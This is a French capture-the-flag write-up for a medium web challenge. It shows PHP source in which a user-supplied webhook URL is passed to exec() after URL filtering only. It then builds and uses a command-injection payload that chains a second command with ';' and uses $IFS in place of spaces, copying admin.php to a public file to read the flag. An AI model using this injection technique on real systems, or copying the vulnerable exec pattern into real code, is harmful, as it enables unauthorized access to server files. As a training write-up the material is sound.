Team: XxxPassword123xxX

Difficulty: medium

Overview

On a une application web dont on a accès au code source. Cette WebApp permet d’inscrire/s’authenfier et de réinitialiser son mot de passe. A l’inscription on fournit le webhook permettant de recevoir son nouveau mot de passe en cas de réinitialisation de ce dernier. Notre objectif est de pouvoir lire le fichier admin.php et récupérer le flag à l’intérieur.

Analyse de code

Filtre de l’input de webhook

En analysant le code, on peut apercevoir un filtre sur la validation du format du webhook :

class SignupController extends Signup {

    private $uid;
    private $pwd;
    private $wh;

    public function __construct($uid, $pwd, $wh) {
        $this->uid = htmlspecialchars($uid);
        $this->pwd = $pwd;
        $this->wh = filter_var($wh, FILTER_SANITIZE_URL);
    }

    public function signupUser() {
        if (empty($this->uid) || empty($this->pwd) || empty($this->wh)) {
            header("location: ../login.php?error=EmptyInput");
            exit();
        }

        if (preg_match("/^[a-zA-Z0-9]*%/", $this->uid)) {
            header("location: ../login.php?error=InvalidUid");
            exit();
        }

        if (!filter_var($this->wh, FILTER_VALIDATE_URL)) {
            header("location: ../login.php?error=NotValidWebhook");
            exit();
        }

        if (!$this->checkUser($this->uid)) {
            header("location: ../login.php?error=UserTaken");
            exit();
        }

        $this->setUser($this->uid, $this->pwd, $this->wh);

    }

}

Les filtres sont FILTER_SANITIZE_URL et FILTER_VALIDATE_URL. Si on lit les docs sur les filtres php ( Sanitize filters et Validate filters) :

  • FILTER_SANITIZE_URL : Remove all characters except letters, digits and $-_.+!*’(),{}|\^~[]`<>#%";/?:@&=.
  • FILTER_VALIDATE_URL : Validates value as URL (according to » http://www.faqs.org/rfcs/rfc2396), optionally with required components. Beware a valid URL may not specify the HTTP protocol http:// so further validation may be required to determine the URL uses an expected protocol, e.g. ssh:// or mailto:. Note that the function will only find ASCII URLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.

Potentielle injection de commande :

class ResetController extends Reset {

    private $uid;
    private $wh;
    private $tmpPass;

    public function __construct($uid) {
        $this->uid = $uid;
    }

    public function resetPassword() {
        $this->wh = $this->checkUser($this->uid);
        if (!$this->wh) {
            header("location: ../login.php?error=InvalidUser");
            exit();
        }

        $this->tmpPass = $this->tmpPwd($this->uid);
        exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");

        return $this->tmpPass;
    }

}

On peut aussi voir que la fonction de reset execute via ligne de commande le script send_pass.php en prenant en paramètre le webhook que l’on a entré au moment de la création de compte. De là, on peut en déduire une injection de commande en contournant les filtres d’url.

Construction de la Payload

Pour passer les filtres, il faut que la payload commence par une url quelquonque. Ensuite, on peut ajouter le caractère ; pour enchainer par une autre commande. On fait aussi face à une contrainte, l’un des filtres n’accepte pas les espaces et les supprime, donc il nous faut une payload pour le ficher admin.php sans utiliser d’espace.

A travers mes divers tests en local (docker), je me suis aperçu que pas mal de payloads sur PayloadAllTheThings ne passaient pas car le exec utilise le shell sh. Cependant, j’ai remarqué qu’une payload de type cat$IFS/etc/passwd passe sur sh. J’ai donc construit ma payload avec le séparateur $IFS dans le but de copier le contenu de admin.php vers un autre fichier.

Voici une payload possible à injecter au webhook:

http://127.0.0.1/;base64$IFS/var/www/html/admin.php>../pwned.txt;echo

Remarque : On ajoute le echo à la fin à cause de la redirection à la fin de la commande.

Exploitation

Maintenant on peut se créer un compter avec cette payload :

On se déconnecte du compte et on déclenche la réinitialisation de password, ça devrait déclencher notre injection de commande ;) :

On peut maintenant récupérer le contenu d’admin.php en base64 et le décoder pour avoir le flag :

echo 'PD9waHAKCnNlc3Npb25fc3RhcnQoKTsKCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyaWQnXSkp                                                        
IHsKICAgIGhlYWRlcigiTG9jYXRpb246IGxvZ2luLnBocD9lcnJvcj1ub3Rsb2dnZWRpbiIpOwog
ICAgZXhpdCgpOwp9IAoKaWYgKCRfU0VTU0lPTlsndXNlcm5hbWUnXSAhPT0gImFkbWluIiApIHsK
ICAgIGhlYWRlcigiTG9jYXRpb246IGxvZ2luLnBocD9lcnJvcj1ub3RhZG1pbiIpOwogICAgZXhp
dCgpOwp9Cgo/PgoKPD9waHAgaW5jbHVkZSAidGVtcGxhdGVzL2hlYWRlci5waHAiOyA/PiAgICAK
ICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGgzPkNBQ0l7eTB1djNfZjB1bmRf
dGgzX3JhcjNzdF9zMzNkXzBmX2FsbCF9PC9oMz4KICAgIDwvZGl2Pgo8P3BocCBpbmNsdWRlICJ0
ZW1wbGF0ZXMvZm9vdGVyLnBocCI7ID8+Cg==' | base64 -d
<?php

session_start();

if (!isset($_SESSION['userid'])) {
    header("Location: login.php?error=notloggedin");
    exit();
} 

if ($_SESSION['username'] !== "admin" ) {
    header("Location: login.php?error=notadmin");
    exit();
}

?>

<?php include "templates/header.php"; ?>    
    <div class="container">
        <h3>CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}</h3>
    </div>
<?php include "templates/footer.php"; ?>

flag : CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}